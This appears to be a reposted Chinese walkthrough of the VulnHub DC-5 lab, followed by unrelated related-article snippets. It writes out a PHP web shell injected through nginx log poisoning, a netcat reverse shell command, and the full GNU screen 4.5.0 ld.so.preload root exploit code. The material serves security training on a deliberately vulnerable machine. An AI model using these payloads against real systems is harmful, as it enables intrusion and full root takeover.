靶场练习第十三天~vulnhub靶场之dc-5

一、准备工作

1.靶机环境搭建

下载链接: https://pan.baidu.com/s/1csvuJ_NVCBvVr75KhxyM3Q?pwd=xie7 提取码: xie7

2.kali的ip

命令:ifconfig

3.kali和靶机的都设置为NAT模式

二、信息收集

1.nmap的信息收集

(1)寻找靶机的ip

命令: nmap 192.168.101.0/24

(2)查看靶机的端口及其协议

命令:nmap -A 192.168.101.118

命令2:nmap -sV -p- 192.168.101.118 (-sV是用来扫描目标主机和端口上运行的软件的版本 )

2.网页的信息收集

(3)访问192.168.101.118

因为靶机开放了80端口,访问一下网站

翻一下网站的页面功能后,点击打开contact页面的提交留言后,出现改变

改变前:

改变后: contact页面的年份信息会随着刷新页面而变化

访问http://192.168.101.118/footer.php

用dirb扫描一下网站

命令 :dirb http://192.168.101.118 -X .php .html .txt

发现成功文件包含

因为靶机服务扫描时发现靶机网站使用的是nginx服务器,我们知道nginx服务器的默认配置文件是/etc/nginx/nginx.conf,所以将nginx的配置文件包含过来查看日志路径,发现了nginx的日志路径

查看日志文件 /var/log/nginx/access.log通过bp抓包写入一句话木马

一句话木马语句:<?php @eval($_POST[value]); ?>

通过日志文件log查看是否写入成功;

日志路径为:/var/log/nginx/access.log,是系统默认路径

通过firefox浏览器打开(URL:http://192.168.85.144/thankyou.php?file=/var/log/nginx/access.log),发现一句话木马已经写入成功。 通过BurpSuite抓包,并写入PHP的执行系统命令

语句: <?php passthru($_GET['hh']); ?>

进行测试,看是否外部命令是否能够正常执行的;
命令:http://192.168101.118/thankyou.php?file=/var/log/nginx/access.log&hh=cat%20/etc/passwd

发现已经执行命令

 

(4)通过nc命令直接进行shell反弹

1.在网页url添加命令:hh= nc 192.168.101.10 4444 -c /bin/bash

2.kali开启添加,命令: nc -lvvp 4444

(5)优化命令执行终端

执行下面命令进入python交互式(注意要下载python环境才能运行):

python -c ‘import pty;pty.spawn(“/bin/bash”)’

三、渗透

1.查看具有特殊权限的二进制文件

查找一下可以用root权限运行的命令;
命令: find / -perm -u=s -type f 2>/dev/null

由上图可知发现了一个screen特殊文件

2.searchsploit命令对screen-4.5.0漏洞进行搜索

kali终端使用命令:searchsploit screen-4.5.0

3.将该41154.sh文件拷贝到/root目录下

4. 漏洞脚本文件的利用

将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件
命令:gcc -fPIC -shared -ldl -o libhax.so libhax.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

chown("/tmp/rootshell", 0, 0);

chmod("/tmp/rootshell", 04755);

unlink("/etc/ld.so.preload");

printf("[+] done!\n");

}

将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件

命令: sudo vim rootshell.c、cat rootshell.c、gcc -o rootshell rootshell.c

#include <stdio.h>

int main(void){

setuid(0);

setgid(0);

seteuid(0);

setegid(0);

execvp("/bin/sh", NULL, NULL);

}

将41154.sh中剩下部分代码另存为dc5.sh脚本文件
并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include <stdio.h>

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

5.再次使用nc命令将文件上传到靶机

进入到kali的tmp,分别输入

nc 192.168.101.10 4444 >libhax.so

nc 192.168.101.10 4444 >rootshell

nc 192.168.101.10 4444 >dc5.sh

反向连接靶机的那一端,分别输入

nc -lvvp 4444 < libhax.so

nc -lvvp 4444 < rootshell

nc -lvvp 4444 <dc5.sh

靶机和kali都要进入到tmp目录下面,注意kali与靶机输入时要一一对应

四、提权

1.输入如下命令进行提权

cd /etc

umask 000

screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

screnn -ls

/tmp/rootshell

2.拿下flag

cd /root

cat thisistheflag.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/375045.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu中输入输出重定向及管道技术简述

输出 1、标准输出 定义&#xff1a;程序在默认情况下输出结果的地方&#xff08;stdout&#xff09;。 2、输出重定向 定义&#xff1a;用于把数据的输出转移到另一个地方去。 3、Ubuntu中例子 $ls > ~/ls_out ##不显示在显示器上而是输入到文件ls_out中 uname -r > ls_…

activex打包

http://www.cnblogs.com/weiwin/p/4493835.html activeX 打包 原文 http://www.docin.com/p-409284488.html CAB打包文档说明 文档目的本文档的目的在于说明将ocx和dll以及相关的文件打包成一个CAB包&#xff0c;以便在网页下调用ocx控件时免去手工将dll和其他一下文件拷贝到客…

靶场练习第十四天~vulnhub靶场之dc-6

一、准备工作 kali和靶机都选择NAT模式&#xff08;kali与靶机同网段&#xff09; 1.靶场环境 下载链接: 百度网盘 请输入提取码 提取码: bazx 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机ip 命令&#xff1a;sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#…

最短路径Dijkstra算法和Floyd算法整理、

转载自&#xff1a;http://www.cnblogs.com/biyeymyhjob/archive/2012/07/31/2615833.html 最短路径—Dijkstra算法和Floyd算法 Dijkstra算法 1.定义概览 Dijkstra(迪杰斯特拉)算法是典型的单源最短路径算法&#xff0c;用于计算一个节点到其他所有节点的最短路径。主要特点是以…

Java Script 中 ==(Equal) 和 === (Identity Equal) 的区别和比较算法逻辑

判断两个变量是否相等在任何编程语言中都是非常重要的功能。 JavaScript 提供了 和 两种判断两个变量是否相等的运算符&#xff0c;但我们开始学习的时候 JavaScript 的时候&#xff0c;就被一遍又一遍的告知&#xff1a; 要求变量的类型和值均相等&#xff0c;才能返回true…

靶场练习第十五天~vulnhub靶场之dc-7

一、准备工作 kali和靶机都选择NAT模式&#xff08;kali与靶机同网段&#xff09; 1.靶场环境 下载链接:https://download.vulnhub.com/dc/DC-7.zip 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&…

ubuntu系统下如何修改host

Ubuntu系统的Hosts只需修改/etc/hosts文件&#xff0c;在目录中还有一个hosts.conf文件&#xff0c;刚开始还以为只需要修改这个就可以了&#xff0c;结果发现是需要修改hosts。修改完之后要重启网络。具体过程如下&#xff1a;1、修改hostssudo gedit /etc/hosts2、添加解析记…

Matplotlib不显示图形

安装好了Matplotlib&#xff0c;使用官方一个例子测试运行时&#xff0c;发现使用画图功能时&#xff0c;运行脚本老是显示不出图像&#xff0c;Google了一下&#xff0c;后来发现是matplotlibrc文件没配置好。 参考了官方文档&#xff0c;修改步骤如下 1.查找matplotlibrc文件…

靶场练习第十六天~vulnhub靶场之dc-8

一、准备工作 kali和靶机都选择NAT模式&#xff08;kali与靶机同网段&#xff09; 1.靶场环境 下载链接:https://download.vulnhub.com/dc/DC-8.zip 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&…

【SpringMVC】SpringMVC系列4之@RequestParam 映射请求参数值

4、RequestParam 映射请求参数值 4.1、概述 Spring MVC 通过分析处理方法的签名&#xff0c;将 HTTP 请求信息绑定到处理方法的相应人参中。Spring MVC 对控制器处理方法签名的限制是很宽松的&#xff0c;几乎可以按喜欢的任何方式对方法进行签名。必要时可以对方法及方法入…

Sprint3

进展&#xff1a;今天主要是各自熟悉安卓应用开发平台&#xff0c;设计了图标&#xff0c;没什么实际上的进展。 燃尽图&#xff1a; 团队工作照&#xff1a; 转载于:https://www.cnblogs.com/XJXYJ/p/4495810.html

靶场练习第十七天~vulnhub靶场之dc-9

一、准备工作 kali和靶机都选择NAT模式&#xff08;kali与靶机同网段&#xff09; 1.靶场环境 下载链接:https://download.vulnhub.com/dc/DC-9.zip 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&am…

Linux内核分析 02

二&#xff0c;操作系统是如何工作的 1、函数调用堆栈 三大法宝&#xff1a;存储程序计算机 函数调用堆栈 中断机制 堆栈&#xff1a;是C语言程序运行时必须的一个记录调用路径和参数的空间。是计算机内部现成的东西&#xff0c;我们直接使用。 包括函数调用框架、传递参数、保…

一 UI基本的用法

1. UIView的基本用法 //打印屏幕的宽和高CGRect screenBounds [[UIScreen mainScreen] bounds];NSLog("%f, %f", screenBounds.size.width, screenBounds.size.height);//创建一个UIView//UIView表示一个矩形区域UIView *v1 [[UIView alloc] init];//1.确定大小CGR…

靶场练习第十八天~vulnhub靶场之hackableII

一、准备工作 kali和靶机都选择NAT模式&#xff08;kali与靶机同网段&#xff09; 1.靶场环境 下载链接:Hackable: II ~ VulnHub 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&#xff09;扫描靶机开…

Object-c基础(2)

类和对象 类 在Object-c中类&#xff0c;其接口&#xff08;interface&#xff09;和实现&#xff08;implementation&#xff09;是分离开来的 类的声明 interface 类名:父类名{实例变量的定义;}方法声明;...end类的实现 implementation 类名方法定义...end对象 一个类提供…

arm linux 下移植busybox 的tftp

&#xff08;1&#xff09;进入busybox目录&#xff0c;make menuconfig &#xff0c;然后在networking中勾选tftp项跟tftpd项。 &#xff08;2&#xff09;配置/etc/inetd.conf 中关于tftp的选项&#xff08;此部未验证&#xff0c;不需要应该也可以&#xff09; tftp dgra…

靶场练习第二十天~vulnhub靶场之Funbox: Scriptkiddie

一、环境搭建 靶官网机下载地址&#xff1a;Funbox: Scriptkiddie ~ VulnHub 百度云盘下载链接: 百度网盘 请输入提取码 提取码: i4a9 二、信息收集 1.nmap命令扫描靶机 先用ifconfig查看kali的IP&#xff0c;因为kali和靶机都是NAT模式下&#xff0c;所以用 nmap 192.168…

documentbodyscrollTop的值总为零的解决办法

有一个功能需要判断返回顶部按钮是否显示。 JS代码如下&#xff1a; var sTop document.body.scrollTop;if(sTop>100){document.getElementById("sm_top").style.display"block";}else{document.getElementById("sm_top").style.display&quo…

spring mvc 多线程并发

ThreadLocal为解决多线程程序的并发问题提供了一种新的思路。使用这个工具类可以很简洁地编写出优美的多线程程序。 http://www.xuebuyuan.com/1628190.html 我们知道Spring通过各种DAO模板类降低了开发者使用各种数据持久技术的难度。这些模板类都是线程安全的&#xff0c;也就…